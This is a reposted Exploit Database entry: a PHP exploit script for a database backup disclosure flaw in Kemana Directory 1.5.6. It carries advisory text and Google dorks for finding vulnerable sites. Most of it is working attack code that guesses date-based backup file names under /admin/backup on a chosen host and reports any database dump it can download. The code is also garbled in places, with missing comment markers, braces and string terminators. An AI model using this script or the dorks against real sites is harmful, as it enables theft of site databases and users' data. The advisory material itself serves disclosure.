Kemana Directory 1.5.6 – Database Backup Disclosure

Exploit Database
120 阅读

作者： LiquidWorm

日期： 2014-03-25
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/32509/

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<?php

Kemana Directory 1.5.6 Database Backup Disclosure Exploit

Vendor: C97net

Product web page: http://www.c97.net

Affected version: 1.5.6

Summary: Experience the ultimate directory script solution

with Kemana. Create your own Yahoo or Dmoz easily with Kemana.

Unique Kemana's features including: CMS engine based on our

qEngine, multiple directories support, user friendly administration

control panel, easy to use custom fields, unsurpassed flexibility.

Desc: Kemana stores database backups using the Backup DB tool

with a predictable file name inside the '/admin/backup' directory

as '_Full Backup YYYYMMDD_1.sql' or '_Full Backup YYYYMMDD_1.gz',

which can be exploited to disclose sensitive information by

downloading the file. The '/admin/backup' is also vulnerable to

directory listing by default.

Tested on: Apache/2.4.7 (Win32)

PHP/5.5.6

MySQL 5.6.14

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2014-5176

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5176.php

Dork #1: intitle:powered by c97.net

Dork #2: intitle:powered by qEngine

Dork #3: intitle:powered by Kemana.c97.net

Dork #4: intitle:powered by Cart2.c97.net

07.03.2014

error_reporting(0);

function status($done, $total, $size=20)

{

static $start_time;

if($done > $total) return;

if(empty($start_time)) $start_time=time();

$now = time();

$perc=(double)($done/$total);

$bar=floor($perc*$size);

$disp=number_format($perc*100, 0);

$status_bar="\r $disp% [";

$status_bar.=str_repeat("=", $bar);

if($bar<$size)

{

$status_bar.=">";

$status_bar.=str_repeat(" ", $size-$bar);

} else

{

$status_bar.="=";

}

$status_bar.="] $done/$total";

$rate = ($now-$start_time)/$done;

$left = $total - $done;

$eta = round($rate * $left, 2);

$elapsed = $now - $start_time;

$status_bar.= " remaining: ".number_format($eta)." sec. elapsed: ".number_format($elapsed)." sec.";

echo "$status_bar ";

flush();

if($done == $total)

{

echo "\n";

}

print "

@---------------------------------------------------------------@

| |

| Kemana Directory 1.5.6 Database Backup Disclosure Exploit |

| |

| Advisory ID: ZSL-2014-5176|

| www.zeroscience.mk|

| |

@---------------------------------------------------------------@

if ($argc < 4)

{

print "\n\n [+] Usage: php $argv[0] <host> <port> <dirname>\n\n";

print " [+] Example: php $argv[0] zeroscience.mk 80 hercules\n\n";

die();

}

$godina_array = array('2014','2013','2012','2011','2010');

$mesec_array = array('12','11','10','09',

'08','07','06','05',

'04','03','02','01');

$dn_array = array('31','30','29','28','27','26',

'25','24','23','22','21','20',

'19','18','17','16','15','14',

'13','12','11','10','09','08',

'07','06','05','04','03','02',

'01');

$host = $argv[1];

$port = intval($argv[2]);

$path = $argv[3];

$dbnm = "Full%20Backup%20";

$alert1 = "\033[1;31m";

$alert2 = "\033[0;37m";

$alert3 = "\033[1;32m";

echo "\n [*] Running checks:\n\n";

foreach($godina_array as $godina)

{

foreach($mesec_array as $mesec)

{

$x++;

status($x, 58);

foreach($dn_array as $dn)

{

$ext=".gz";

if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext))

{

echo "\n";

echo $alert1;

print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";

echo $alert2;

print " Filename: '_Full Backup ".$godina.$mesec.$dn."_1".$ext."'\n";

print " Full URL:\x20";

echo $alert3;

die("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext."\n\n");

}

$ext=".sql";

if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext))

{

echo "\n";

echo $alert1;

print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";

echo $alert2;

print " Filename: '_Full Backup ".$godina.$mesec.$dn."_1".$ext."'\n";

print " Full URL:\x20";

echo $alert3;

die("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext."\n\n");

}

print "\n\n [*] Zero findings!\n\n\n";